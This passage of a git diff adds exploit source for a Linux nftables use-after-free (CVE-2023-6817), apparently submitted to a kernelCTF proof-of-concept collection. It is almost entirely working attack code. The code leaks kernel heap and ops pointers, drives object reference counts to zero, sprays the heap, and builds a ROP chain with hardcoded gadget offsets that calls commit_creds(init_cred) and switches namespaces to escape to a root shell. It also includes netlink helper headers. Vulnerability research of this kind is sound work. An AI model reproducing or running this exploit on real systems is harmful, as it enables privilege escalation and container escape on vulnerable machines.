+ char * set_name=NULL; + if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){ + struct nlattr * tb_msg2[NFTA_SET_MAX+1]; + memset(tb_msg2, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL); + + struct nlattr * tb_msg3[NFTA_SET_MAX+1]; + memset(tb_msg3, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL); + char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF])); + nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_OBJREF], nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF])); + printf("Get ops : %llx\n", (*(uint64_t *)val)); + leak_ops = (*(uint64_t *)val); + } + else + printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n"); + return NL_OK; +} + +int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_SET_MAX+1]; + memset(tb_msg, 0, NFTA_SET_MAX * 8); + //printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + + if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){ + struct nlattr * tb_msg2[NFTA_SET_MAX+1]; + memset(tb_msg2, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL); + + struct nlattr * tb_msg3[NFTA_SET_MAX+1]; + memset(tb_msg3, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL); + char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY])); + nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY])); + //printf("Get key : %llx\n", *(uint64_t *)(val+4)); + uint32_t udata_len = nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]); + if(udata_len != 0xa1) + printf("udata len : %d\n",udata_len); + if(udata_len > 0xb0){ + //get leak + printf("udata len : %d\n",udata_len); + leak_data = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + memset(leak_data,0,nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + nla_memcpy(leak_data, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + printf("Target key : %llx\n",*(uint64_t *)(val+4)); + } + } + else + printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n"); + return NL_OK; +} + +void spray_tables(struct nl_sock * socket, int len, char *udata, int size){ + char *tmp = malloc(0x100); + memset(tmp,0,0x100); + int i; + for(i=0;iuse-- +void primitive_0(struct nl_sock *socket, char *table, char *target_obj){ + char *tmp_set = "pipapo set for primitive"; + new_set_pipapo(socket,table, tmp_set, 0x40, NFT_OBJECT_CT_EXPECT); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + memset(key,0,0x40); + memset(key_end,0,0x40); + new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0); + + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2); + msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40); + msg_list[1] = del_set_msg(table, tmp_set); + send_msg_list(socket, msg_list, 2); +} + + + +void primitive_1(struct nl_sock *socket, char *table, char *target_chain){ + char *tmp_set = "pipapo set for primitive"; + new_set_pipapo_for_poc_chain(socket, table, tmp_set, 0x40); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + memset(key,0,0x40); + memset(key_end,0,0x40); + //new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0); + new_setelem_with_chain(socket, table, tmp_set, NULL, 0, key, 0x40, key_end, 0x40, target_chain); + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2); + msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40); + msg_list[1] = del_set_msg(table, tmp_set); + send_msg_list(socket, msg_list, 2); +} + +void leak_and_prepare_rop(struct nl_sock *socket){ + int i; + char *pipapo_set = "set pipapo for leak"; + char *hash_set = "set hashtable for leak"; + char *hash_set_2 = "set hashtable 2 for leak"; + char *target_obj = "obj_for_leak_32"; + char *obj_for_leak = "obj_for_leak_a"; + char *table = "table for leak"; + new_table(socket, table); + new_obj_ct_expect(socket, table, obj_for_leak, NULL, 0); + + new_set_pipapo(socket,table, pipapo_set, 0x40, NFT_OBJECT_CT_EXPECT); + new_set_hashtable_with_map(socket, table, hash_set, 8); + new_set_hashtable(socket, table, hash_set_2, NFT_OBJECT_CT_EXPECT, 8); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + uint64_t hash_key; + + + nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL); + + //step 1 + //spray some objects + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + char *obj_name = malloc(0x40); + memset(obj_name,0,0x40); + + for(i=0;i<0x40;i++){ + snprintf(obj_name,0x40,"obj_for_leak_%d",i); + new_obj_ct_expect(socket, table, obj_name, NULL, 0); + } + + //step 2 + //make target_obj->use = 0xa5 + + for(i=0;i<0xa4;i++){ + memset(key,i,0x40); + memset(key_end,i,0x40); + new_setelem(socket, table, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40, 0); + } + hash_key = 0xdeadbeef; + new_setelem(socket, table, hash_set_2, pad, 0x100, target_obj, &hash_key, 8, NULL, 0, 0); + //step 3 + //make target_obj->use = 0 + for(i=0;i<0xa5;i++){ + primitive_0(socket, table, target_obj); + } + + sleep(2); + + //step 4 + //delete target obj + del_obj(socket, table, target_obj, NFT_OBJECT_CT_EXPECT); + sleep(2); + + //step 5 + //get heap back + for(i=0;i<0x1000;i++){ + //printf("%d\n",i); + *(uint64_t *)pad = i; + hash_key = i; + new_setelem_with_elemdata(socket, table, hash_set, pad, 0xa1, &hash_key, 8, NULL, 0,0); + } + + //step 6 + //make setelem->udata_len = 0xfc + elem_flush(socket, table, pipapo_set); + sleep(2); + + //step 7 Get leak data + struct nl_sock * socket2 = nl_socket_alloc(); + if(nfnl_connect(socket2)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL); + for(i=0;i<0x1000;i++){ + hash_key = i; + get_setelem(socket2, table, hash_set, &hash_key, 8); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + } + uint64_t obj_a = *(uint64_t *)&leak_data[0xcb]; + uint64_t obj_b = *(uint64_t *)&leak_data[0xcb+8]; + printf("leak obj A heap : %llx\n",obj_a); + printf("leak obj B heap : %llx\n",obj_b); + + + //step 8 :delete all the set elements created in step 5 to free the heap again + elem_flush(socket, table, hash_set); + sleep(2); + + //step 9 : Spray memory + *(uint64_t *)&pad[0x20] = obj_a + 0x80; + spray_tables(socket,0x400, pad, 0xcc); + printf("spray finish\n"); + hash_key = 0xdeadbeef; + nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_leak_ops, NULL); + + //step 10 : leak object->ops + get_setelem(socket2, table, hash_set_2, &hash_key,8); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + printf("Leak end.\n"); + printf("Start preparing ROP gadget in heap.\n"); + kernel_off = leak_ops - 0xFFFFFFFF828C9FA0; + char *ops = malloc(0x100); + //ops->dump + *(uint64_t *)&ops[0x40] = kernel_off + 0xFFFFFFFF816B0D50;//leave ; ret + //ops->type + *(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF835199E0;//last type + *(uint64_t *)&ops[0x08] = kernel_off + 0xFFFFFFFF810803E0;//pop rdi; ret + *(uint64_t *)&ops[0x10] = kernel_off + 0xFFFFFFFF83262140;//init_cred + *(uint64_t *)&ops[0x18] = kernel_off + 0xffffffff8110ced0;//commit_creds; + *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff81067153;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret + *(uint64_t *)&ops[0x28] = 1; + *(uint64_t *)&ops[0x58] = kernel_off + 0xffffffff81103d40;//find_task_by_vpid + *(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff8106715a;//pop rbp ; pop rbx ; ret because ops->0x78 is the last_type + *(uint64_t *)&ops[0x78] = kernel_off + 0xffffffff8102c691;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret + *(uint64_t *)&ops[0x80] = 0; + *(uint64_t *)&ops[0x88] = kernel_off + 0xffffffff813c146e;//pop rsi ; ret + *(uint64_t *)&ops[0x90] = kernel_off + 0xFFFFFFFF83261F00;//init_nsproxy + *(uint64_t *)&ops[0x98] = kernel_off + 0xffffffff8110b4f0;//switch_task_namespaces + *(uint64_t *)&ops[0xa0] = kernel_off + 0xFFFFFFFF81FE3BA7;//swapgs; ret + *(uint64_t *)&ops[0xa8] = kernel_off + 0xFFFFFFFF820011A7;//iretq + *(uint64_t *)&ops[0xb0] = (uint64_t)shell; + *(uint64_t *)&ops[0xb8] = user_cs; + *(uint64_t *)&ops[0xc0] = user_rflags; + *(uint64_t *)&ops[0xc8] = user_rsp|8; + *(uint64_t *)&ops[0xd0] = user_ss; + //step 11 + //free the last object. + for(i=0;i<0x40;i++){ + if(i==0x20) + continue; + snprintf(obj_name,0x40,"obj_for_leak_%d",i); + del_obj(socket, table, obj_name, NFT_OBJECT_CT_EXPECT); + } + //heap spray to fill target heap + spray_tables(socket,0x800, ops, 0xe8); + printf("Finish prepare.\n"); + target_heap = obj_a; + +} + + +void jmp_rop(struct nl_sock * socket){ + char *pipapo_set = "set pipapo for rop"; + char *hash_set_for_expr = "set hashtable for expr"; + char *table = "table for rop"; + char *target_chain = "chain for rop"; + int i; + printf("start rop\n"); + + new_table(socket, table); + cur_handle = 0; + //step 1 : Create a chain for ROP + new_chain(socket, table, target_chain, 0); + //Prepare others. + new_set_pipapo_for_poc_chain(socket, table, pipapo_set, 0x40); + new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, 0x30, 0x10); + //new_set_hashtable_for_poc_chain(socket, table, hash_set, 8); + //new_set_pipapo(socket,table, pipapo_set_for_expr, 0x38, NFT_OBJECT_CT_EXPECT); + nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL); + + //step 2 + //create some elements to make chain->use = 0x20 + + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + char *hash_key_48 = malloc(48); + memset(hash_key_48, 0, 48); + + for(i=0;i<0x20;i++){ + memset(key,i,0x40); + memset(key_end,i,0x40); + new_setelem_with_chain(socket, table, pipapo_set, pad, 0x100, key, 0x40, key_end, 0x40, target_chain); + } + //step 3 trigger vul to make chain->use = 0 + for(i=0;i<0x20;i++){ + primitive_1(socket, table, target_chain); + } + + //step 4 delete target chain + del_chain(socket, table, target_chain); + //sleep(4); + //step 5 create normal set elem with expr, make offsetof(chain->use) == offsetof(expr->size) + *(uint64_t *)&pad[0] = target_heap;//expr->ops + *(uint64_t *)&pad[8] = kernel_off + 0xFFFFFFFF816B0D50;//leave ; ret + for(i=0;i<0x1000;i++){ + *(uint64_t *)hash_key_48 = i; + new_setelem_with_expr_and_elemdata(socket, table, hash_set_for_expr, pad, 0x10, NULL, hash_key_48, 48, NULL, 0); + } + + + //step 6 Flush set to delete all the set elements we created in step 2 . Change the expr->size; + elem_flush(socket, table, pipapo_set); + + //step 7 Dump all the set elements and we will jmp to ROP; + + for(i=0;i<0x800;i++){ + *(uint64_t *)hash_key_48 = i; + get_setelem(socket, table, hash_set_for_expr, hash_key_48,48); + } + + printf("end\n"); + while(1); + +} + + +int main(void) { + if (setup_sandbox() < 0){ + printf("Create sandbox fail!\n"); + return 0; + } + save_state(); + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + + leak_and_prepare_rop(socket); + jmp_rop(socket); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/obj.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/obj.h new file mode 100644 index 00000000..5ca34990 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/obj.h @@ -0,0 +1,136 @@ +extern int cur_handle; +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 0x41); + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create %s\n",obj_name); + } + cur_handle++; +} + +void del_obj(struct nl_sock * socket, char *table_name, char *obj_name, uint32_t obj_type){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } + +} + diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/rule.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/rule.h new file mode 100644 index 00000000..f2b03ce6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/rule.h @@ -0,0 +1,337 @@ +extern int cur_handle; +#define htonll(x) ((1==htonl(1)) ? (x) : ((uint64_t)htonl((x) & 0xFFFFFFFF) << 32) | htonl((x) >> 32)) + +void new_rule(struct nl_sock * socket, char *table_name, char *chain_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + + char *a = malloc(0x100); + memset(a,0x41,0x100); + nla_put_string(expr_data, NFTA_LOOKUP_SET, set_name); + nla_put_u32(expr_data, NFTA_LOOKUP_SREG, htonl(NFT_REG_1)); + nla_put_string(data_nest, NFTA_EXPR_NAME, "lookup"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + printf("Create rule\n"); + } + cur_handle++; +} + +struct nlmsghdr * new_rule_lookup_msg(char *table_name, char *chain_name, char *set_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + + char *a = malloc(0x100); + memset(a,0x41,0x100); + nla_put_string(expr_data, NFTA_LOOKUP_SET, set_name); + nla_put_u32(expr_data, NFTA_LOOKUP_SREG, htonl(NFT_REG_1)); + nla_put_string(data_nest, NFTA_EXPR_NAME, "lookup"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + cur_handle++; + return hdr2; +} + +void new_rule_immediate(struct nl_sock * socket, char *table_name, char *chain_name, char *target_chain){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_verdict = nlmsg_alloc(); + + nla_put_u32(data_verdict, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data_verdict, NFTA_VERDICT_CHAIN, target_chain); + nla_put_nested(data, NFTA_DATA_VERDICT, data_verdict); + + nla_put_u32(expr_data, NFTA_IMMEDIATE_DREG, htonl(NFT_REG_VERDICT)); + nla_put_nested(expr_data, NFTA_IMMEDIATE_DATA, data); + + nla_put_string(data_nest, NFTA_EXPR_NAME, "immediate"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + printf("Create rule\n"); + } + cur_handle++; +} + +void del_rule(struct nl_sock * socket, char *table_name, char *chain_name, uint64_t handle){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST//NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + 